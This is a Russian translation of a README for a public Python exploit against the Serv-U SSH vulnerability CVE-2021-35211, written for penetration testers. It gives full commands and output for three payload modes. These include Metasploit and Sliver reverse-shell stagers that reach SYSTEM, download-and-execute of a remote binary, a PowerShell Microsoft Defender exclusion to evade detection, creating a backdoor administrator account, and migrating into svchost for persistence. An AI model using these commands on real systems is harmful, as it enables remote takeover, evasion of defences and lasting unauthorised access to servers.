bishopfox/cve-2021-35211Python эксплойт для уязвимости Serv-U SSH (CVE-2021-35211) с несколькими режимами полезной нагрузки: stage, exec и download-execute, обеспечивающими выполнение шелл-кода и внедрение команд.
Эксплойт срабатывает не каждый раз, но достаточно часто: примерно в одном из 5–6 запусков он выполняет шеллкод. Однако иногда неудачная попытка может привести к краху сервера Serv-U. Убедитесь, что ваши правила взаимодействия допускают риск потери или деградации сервиса. Симптомы, наблюдавшиеся при тестировании, включают:
Caveat emptor.
Версии важны. В этом эксплойте используются жёстко заданные ROP-адреса, которые действительны только для версии Serv-U 15.2.3.717. Возможно, мы сможем добавить другие версии — пожалуйста, спросите, если вам нужна поддержка других версий Serv-U или Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Он принимает следующие аргументы:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
В успешной атаке можно использовать три режима (или полезные нагрузки):
stageexecdownloadexecПри успешном эксплойте запускает stager шеллкода, совместимый с Metasploit/Sliver. Это наименее надёжная из всех полезных нагрузок; рассмотрите `downloadexec1 instead. Запускается так:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost и stagePort указывают на слушающий обработчик на вашей машине с Sliver/Metasploit. Вы можете выбрать любую полезную нагрузку, но, как я выяснил, надёжно работает только windows/x64/shell/reverse_tcp. Это досадно, потому что это не зашифрованная оболочка, и вам придётся проверить свои правила взаимодействия, прежде чем запускать что-то подобное.
И снова caveat emptor.
Настройте это в Metasploit, запущенном на вашей машине с Kali, следующим образом:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Затем запустите эксплойт:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
На машине с Kali вы должны увидеть запрос стадии и запуск командной оболочки:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
Поддержка Sliver в stager-полезной нагрузке является крайне экспериментальной и редко работает. Если она работает, вы обычно увидите, как сессии запускаются и сразу умирают. Но если вы получите сессию, которая не завершается немедленно, вы можете предпринять шаги для сохранения доступа к Sliver, мигрировав в другой процесс.
На вашем Sliver-сервере выполните команду stage-listener, чтобы настроить слушатель. Подробнее о стагинге см. в документации Sliver:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Запустите эксплойт в режиме stage:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Если эксплойт сработает (а с полезными нагрузками Sliver или Meterpreter это происходит крайне редко), вы увидите нечто вроде этого (и да, Sliver сам придумал это имя полезной нагрузки!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
Первым делом следует мигрировать в другой процесс, поскольку велика вероятность, что ваша сессия Sliver умрёт и не вернётся, а на момент написания я не знаю первопричину.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
К этому моменту у вас должна быть стабильная сессия Sliver, неуязвимая к капризам Serv-U и этого эксплойта.
Самый надёжный режим и наименее вероятно, что его засечёт Microsoft Defender (защита конечных точек). Это связано с тем, что используется команда PowerShell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") для добавления исключения каталога в Microsoft Defender, чтобы бинарники Sliver/Meterpreter/что угодно не сканировались на вредоносное ПО. Это защитит вас от Windows Defender, но и только; вам нужно учитывать другие технологии защиты конечных точек, сетевые IDS и т. д.
В случае успеха загружает бинарный файл по URL и выполняет его. Вам понадобится веб-сервер, размещающий ваш исполняемый файл. Я использовал Python, но обратите внимание: я тестирую в локальной сети без SSL. В реальных эксплуатациях вам нужно будет проверить свои правила взаимодействия, если вы хотите использовать незашифрованные URL.
Не в первый раз: caveat emptor.
Запустите простой HTTP-слушатель следующим образом:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
При запущенном слушателе вы можете запустить эксплойт:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
В вашем слушателе вы должны увидеть что-то вроде этого:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
Цель выполнит calc.exe и перезапустит службу Serv-U, чтобы пользователи снова могли подключаться. Обратите внимание, что исполняемый файл не будет показывать окно, но если вы запустите этот пример, вы должны увидеть wincalc.exe в Диспетчере задач.
В случае успеха выполняет команду на цели. Запускается так:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
К сожалению, этот эксплойт действительно часто вызывает крах удалённого процесса. Обычно он перезапускается, и я пытаюсь понять, можно ли сделать его более стабильным, но до тех пор, пожалуйста, помните: проверяйте свои правила взаимодействия и caveat emptor.
Тот факт, что ASLR был отключён в DLL Serv-U, — невероятная удача, которая избавила от множества проблем.
Другие механизмы защиты, такие как Control Flow Guard ("CFG"), также были отключены. Это снова упростило написание эксплойта — не пришлось обходить ограничения доступа к критически важным функциям, таким как GetProcAddress().
Стоит отметить, что используемый мной метод вычисления адреса ROP-стека иногда может генерировать адрес, не выровненный по 64-битной границе. В результате, когда GetProcAddress() доходит до инструкции MOVAPS (которая требует выравнивания адресов памяти), эксплойт падает. Чтобы сделать эксплойт более надёжным, одним из решений может быть принудительное размещение ROP-стека по выровненному адресу; для этого потребуется некоторая работа с ROP-нагрузкой, и это остаётся упражнением для читателя.